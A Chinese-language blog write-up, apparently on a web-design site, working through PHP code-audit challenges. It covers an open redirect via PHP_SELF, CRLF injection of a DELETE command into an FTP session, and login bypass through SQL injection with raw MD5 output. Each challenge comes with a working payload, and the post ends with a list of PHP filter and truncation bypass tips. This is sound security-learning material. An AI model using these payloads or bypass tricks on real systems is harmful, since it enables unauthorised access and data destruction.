- 測試![](https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513220531.png)## $_SERVER['PHP_SELF']導(dǎo)致的防御失效問題### Sleigh Ride- code ```phpclass Redirect { private $websiteHost = 'www.example.com'; private function setHeaders($url) { $url = urldecode($url); header("Location: $url"); } public function startRedirect($params) { $parts = explode('/', $_SERVER['PHP_SELF']); $baseFile = end($parts); $url = sprintf( "%s?%s", $baseFile, http_build_query($params) ); $this->setHeaders($url); }}if ($_GET['redirect']) { (new Redirect())->startRedirect($_GET['params']);}
  • 環(huán)境搭建






  • 題解
代碼實現(xiàn)的功能實則為一個URL跳轉(zhuǎn)的功能,PHP_SELF 指當(dāng)前的頁面絕對地址。

  • payload
/index.php/http:%252f%252fwww.syst1m.com?redirect=1
  • 測試
跳轉(zhuǎn)到了我的博客




深入理解$_REQUESTS數(shù)組

Poem

  • code
class FTP { public $sock; public function __construct($host, $port, $user, $pass) { $this->sock = fsockopen($host, $port); $this->login($user, $pass); $this->cleanInput(); $this->mode($_REQUEST['mode']); $this->send($_FILES['file']); } private function cleanInput() { $_GET = array_map('intval', $_GET); $_POST = array_map('intval', $_POST); $_COOKIE = array_map('intval', $_COOKIE); } public function login($username, $password) { fwrite($this->sock, "USER " . $username . "/n"); fwrite($this->sock, "PASS " . $password . "/n"); } public function mode($mode) { if ($mode == 1 || $mode == 2 || $mode == 3) { fputs($this->sock, "MODE $mode/n"); } } public function send($data) { fputs($this->sock, $data); }}new FTP('localhost', 21, 'user', 'password');
  • 題解
mode是通過request傳進(jìn)來的,在cleanInput方法中將get、post、cookie傳進(jìn)來的全部通過intval函數(shù)過濾

  • REQUEST






  • payload
?mode=1%0a%0dDELETE%20test.file

Raw MD5 Hash引發(fā)的注入

Turkey Baster

  • code
class RealSecureLoginManager { private $em; private $user; private $password; public function __construct($user, $password) { $this->em = DoctrineManager::getEntityManager(); $this->user = $user; $this->password = $password; } public function isValid() { $pass = md5($this->password, true); $user = $this->sanitizeInput($this->user); $queryBuilder = $this->em->createQueryBuilder() ->select("COUNT(p)") ->from("User", "u") ->where("password = '$pass' AND user = '$user'"); $query = $queryBuilder->getQuery(); return boolval($query->getSingleScalarResult()); } public function sanitizeInput($input) { return addslashes($input); } $c = new RealSecureLoginManager( $_POST['user'], $_POST['passwd']);if (!$auth->isValid()) { exit;}
  • md5(計算字符串的 MD5 散列值)
string md5 ( string $str [, bool $raw_output = false ] )
  • 題解
auth新建了一個RealSecureLoginManager對象,傳進(jìn)去POST的user和passwd。在md5方法中,如果可選的 raw_output 被設(shè)置為 TRUE,那么 MD5 報文摘要將以16字節(jié)長度的原始二進(jìn)制格式返回。

  • fuzz






  • payload
user= OR 1=1#&passwd=128
  • SQL
select count(p) from user s where password='v?a?n???l???q??/' and user=' OR 1=1#'

實例分析

  • 題目地址
http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

分析

  • 查看源代碼






  • password
md5($password,true)
  • payload
password=ffifdyop或者129581926211651571912466741651878684928
  • 測試






Tips整理

  • in_array
第三個參數(shù)未設(shè)置為true,可利用弱類型比較繞過
  • filter_var(url過濾)
未對協(xié)議進(jìn)行校驗,可利用xxx://繞過
  • class_exists
當(dāng)存在__autoload函數(shù),會自動調(diào)用,如果類名可控,可造成危害,如果參數(shù)也可控,可利用內(nèi)部函數(shù)進(jìn)行攻擊。
  • strpos
strpos在沒找到指定字符時會返回flase,如果第一個字符找到就返回0
  • filter_var (FILTER_VALIDATE_EMAIL)
filter_var() 問題在于,我們在雙引號中嵌套轉(zhuǎn)義空格仍然能夠通過檢測。同時由于底層正則表達(dá)式的原因,我們通過重疊單引號和雙引號,欺騙 filter_val() 使其認(rèn)為我們?nèi)匀辉陔p引號中,這樣我們就可以繞過檢測。”aaa’aaa”@example.com
  • escapeshellarg與escapeshellcmd
escapeshellarg與escapeshellcmd配合使用會存在繞過
  • parse_str
parse_str的作用就是解析字符串并且注冊成變量,它在注冊變量之前不會驗證當(dāng)前變量是否存在,所以會直接覆蓋掉當(dāng)前作用域中原有的變量
  • preg_replace
$pattern 存在 /e 模式修正符,允許代碼執(zhí)行/e 模式修正符,是 preg_replace() 將 $replacement 當(dāng)做php代碼來執(zhí)行
  • extract
從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號表
  • readfile
可利用 ../http/../../ 跳過目錄(如檢測關(guān)鍵字https是否存在)
  • 截斷
%00 遇到遇到函數(shù)過濾會成為/0
  • 反序列化
PHP 反序列化漏洞學(xué)習(xí)

  • htmlentities
將字符轉(zhuǎn)換為 HTML 轉(zhuǎn)義字符ENT_COMPAT(默認(rèn)值):只轉(zhuǎn)換雙引號。 ENT_QUOTES:兩種引號都轉(zhuǎn)換。 ENT_NOQUOTES:兩種引號都不轉(zhuǎn)換。

  • $_SERVER['REQUEST_URI']
獲取的參數(shù)是不會將參數(shù)中的特殊符號進(jìn)行轉(zhuǎn)換
  • HPP
id=1&id=2 只會接收第二個參數(shù)
  • md5(計算字符串的 MD5 散列值)
string md5 ( string $str [, bool $raw_output = false ] )在md5方法中,如果可選的 raw_output 被設(shè)置為 TRUE,那么 MD5 報文摘要將以16字節(jié)長度的原始二進(jìn)制格式返回。

  • eregi截斷漏洞
ereg可用%00截斷,要求php<5.3.4

ereg編碼%00時發(fā)生截斷,不會檢查%00后面的字符(%00算作1個字符)
  • ssrf
us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages

關(guān)鍵詞:函數(shù),缺陷,學(xué)習(xí)

74
73
25
news
  • 網(wǎng)站
  • 營銷
  • 設(shè)計
  • 運(yùn)營
  • 優(yōu)化
  • 效率
  • 專注
  • 電商
  • 方案
  • 推廣
為了最佳展示效果,本站不支持IE9及以下版本的瀏覽器,建議您使用谷歌Chrome瀏覽器。 點擊下載Chrome瀏覽器
關(guān)閉